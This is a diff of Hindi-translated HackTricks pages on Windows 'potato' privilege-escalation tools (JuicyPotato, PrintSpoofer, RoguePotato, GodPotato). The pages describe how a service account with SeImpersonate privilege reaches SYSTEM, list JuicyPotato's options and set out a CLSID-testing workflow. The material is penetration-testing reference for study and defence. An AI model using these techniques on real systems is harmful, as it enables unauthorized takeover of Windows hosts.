हमने [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) को हथियार बनाने का निर्णय लिया: **Juicy Potato को नमस्ते कहें**।
|
||||
|
||||
> सिद्धांत के लिए, देखें [Rotten Potato - सेवा खातों से SYSTEM तक विशेषाधिकार वृद्धि](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) और लिंक और संदर्भों की श्रृंखला का पालन करें।
|
||||
|
||||
हमने खोजा कि, `BITS` के अलावा, कई COM सर्वर हैं जिनका हम दुरुपयोग कर सकते हैं। उन्हें बस यह करना होगा:
|
||||
हमने खोजा कि, `BITS` के अलावा, कई COM सर्वर हैं जिनका हम दुरुपयोग कर सकते हैं। उन्हें बस यह करना है:
|
||||
|
||||
1. वर्तमान उपयोगकर्ता द्वारा इंस्टेंटिएबल होना चाहिए, सामान्यतः एक "सेवा उपयोगकर्ता" जिसके पास अनुकरण विशेषाधिकार होते हैं
|
||||
2. `IMarshal` इंटरफेस को लागू करना चाहिए
|
||||
3. एक ऊंचे उपयोगकर्ता (SYSTEM, Administrator, …) के रूप में चलाना चाहिए
|
||||
|
||||
कुछ परीक्षणों के बाद हमने कई Windows संस्करणों पर [दिलचस्प CLSID की एक विस्तृत सूची](http://ohpe.it/juicy-potato/CLSID/) प्राप्त की और परीक्षण किया।
|
||||
कुछ परीक्षणों के बाद, हमने कई Windows संस्करणों पर [दिलचस्प CLSID की एक विस्तृत सूची प्राप्त की और परीक्षण किया](http://ohpe.it/juicy-potato/CLSID/)।
|
||||
|
||||
### Juicy विवरण <a href="#juicy-details" id="juicy-details"></a>
|
||||
### रसदार विवरण <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato आपको अनुमति देता है:
|
||||
|
||||
|
@ -69,12 +55,12 @@ JuicyPotato आपको अनुमति देता है:
|
|||
* **COM सुनने वाला पोर्ट** _आप पसंद का COM सुनने वाला पोर्ट परिभाषित करें (हार्डकोडेड 6666 के बजाय)_
|
||||
* **COM सुनने वाला IP पता** _किसी भी IP पर सर्वर को बाइंड करें_
|
||||
* **प्रक्रिया निर्माण मोड** _अनुकरण किए गए उपयोगकर्ता के विशेषाधिकार के आधार पर आप चुन सकते हैं:_
|
||||
* `CreateProcessWithToken` (को `SeImpersonate` की आवश्यकता है)
|
||||
* `CreateProcessAsUser` (को `SeAssignPrimaryToken` की आवश्यकता है)
|
||||
* `CreateProcessWithToken` (कोई `SeImpersonate` की आवश्यकता है)
|
||||
* `CreateProcessAsUser` (कोई `SeAssignPrimaryToken` की आवश्यकता है)
|
||||
* `दोनों`
|
||||
* **लॉन्च करने के लिए प्रक्रिया** _यदि शोषण सफल होता है तो एक निष्पादन योग्य या स्क्रिप्ट लॉन्च करें_
|
||||
* **प्रक्रिया तर्क** _लॉन्च की गई प्रक्रिया के तर्कों को अनुकूलित करें_
|
||||
* **RPC सर्वर पता** _एक छिपे हुए दृष्टिकोण के लिए आप एक बाहरी RPC सर्वर पर प्रमाणित कर सकते हैं_
|
||||
* **RPC सर्वर पता** _एक गुप्त दृष्टिकोण के लिए आप एक बाहरी RPC सर्वर पर प्रमाणित कर सकते हैं_
|
||||
* **RPC सर्वर पोर्ट** _यदि आप एक बाहरी सर्वर पर प्रमाणित करना चाहते हैं और फ़ायरवॉल पोर्ट `135` को ब्लॉक कर रहा है तो उपयोगी है…_
|
||||
* **परीक्षण मोड** _मुख्य रूप से परीक्षण उद्देश्यों के लिए, यानी CLSIDs का परीक्षण करना। यह DCOM बनाता है और टोकन के उपयोगकर्ता को प्रिंट करता है। परीक्षण के लिए_ [_यहाँ देखें_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
|
@ -97,13 +83,13 @@ Optional args:
|
|||
```
|
||||
### अंतिम विचार <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**जुसी-पोटैटो Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**जुसी-पोटैटो रीडमी से**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
यदि उपयोगकर्ता के पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार हैं तो आप **SYSTEM** हैं।
|
||||
|
||||
इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप `DCOMCNFG` के माध्यम से इन वस्तुओं के अनुमतियों को संशोधित करने के बारे में सोच सकते हैं लेकिन शुभकामनाएँ, यह चुनौतीपूर्ण होने वाला है।
|
||||
|
||||
वास्तविक समाधान संवेदनशील खातों और अनुप्रयोगों की सुरक्षा करना है जो `* SERVICE` खातों के तहत चलते हैं। `DCOM` को रोकना निश्चित रूप से इस शोषण को रोक देगा लेकिन इससे अंतर्निहित OS पर गंभीर प्रभाव पड़ सकता है।
|
||||
वास्तविक समाधान संवेदनशील खातों और अनुप्रयोगों की सुरक्षा करना है जो `* SERVICE` खातों के तहत चलते हैं। `DCOM` को रोकना निश्चित रूप से इस शोषण को रोक देगा लेकिन इसके अंतर्निहित OS पर गंभीर प्रभाव पड़ सकता है।
|
||||
|
||||
से: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
|
@ -134,7 +120,7 @@ c:\Users\Public>
|
|||
|
||||
## CLSID समस्याएँ
|
||||
|
||||
अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और एक्सप्लॉइट विफल हो जाता है। आमतौर पर, एक **काम करने वाले CLSID** को खोजने के लिए कई प्रयासों की आवश्यकता होती है। किसी विशेष ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए, आपको इस पृष्ठ पर जाना चाहिए:
|
||||
अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और एक्सप्लॉइट विफल हो जाता है। आमतौर पर, एक **काम करने वाले CLSID** को खोजने के लिए कई प्रयासों की आवश्यकता होती है। एक विशिष्ट ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए, आपको इस पृष्ठ पर जाना चाहिए:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
|
||||
|
@ -142,27 +128,16 @@ c:\Users\Public>
|
|||
|
||||
पहले, आपको juicypotato.exe के अलावा कुछ निष्पादन योग्य फ़ाइलों की आवश्यकता होगी।
|
||||
|
||||
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) डाउनलोड करें और निष्पादित करें। यह स्क्रिप्ट परीक्षण के लिए संभावित CLSIDs की एक सूची बनाएगी।
|
||||
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) डाउनलोड और निष्पादित करें। यह स्क्रिप्ट परीक्षण के लिए संभावित CLSIDs की एक सूची बनाएगी।
|
||||
|
||||
फिर [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य फ़ाइल के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आज़माना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**।
|
||||
फिर [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**।
|
||||
|
||||
**परामर्श -c** का उपयोग करके काम करने वाले CLSIDs की **जांच करें**
|
||||
**पैरामीटर -c का उपयोग करके** काम करने वाले CLSIDs **की जांच करें**
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **चुराने वाले मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -173,7 +148,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,22 @@
|
|||
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato Windows Server 2019 और Windows 10 बिल्ड 1809 से आगे काम नहीं करता**। हालाँकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। यह [ब्लॉग पोस्ट](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` टूल पर गहराई से जाती है, जिसका उपयोग Windows 10 और Server 2019 होस्ट पर अनुकरण विशेषाधिकारों का दुरुपयोग करने के लिए किया जा सकता है जहाँ JuicyPotato अब काम नहीं करता।
|
||||
**JuicyPotato** Windows Server 2019 और Windows 10 build 1809 से आगे **काम नहीं करता**। हालाँकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। यह [ब्लॉग पोस्ट](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` टूल पर गहराई से जाती है, जिसका उपयोग Windows 10 और Server 2019 होस्ट पर अनुकरण विशेषाधिकारों का दुरुपयोग करने के लिए किया जा सकता है जहाँ JuicyPotato अब काम नहीं करता।
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
|
@ -107,7 +93,7 @@ nt authority\system
|
|||
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
|
||||
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
* [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
|
@ -117,29 +103,18 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue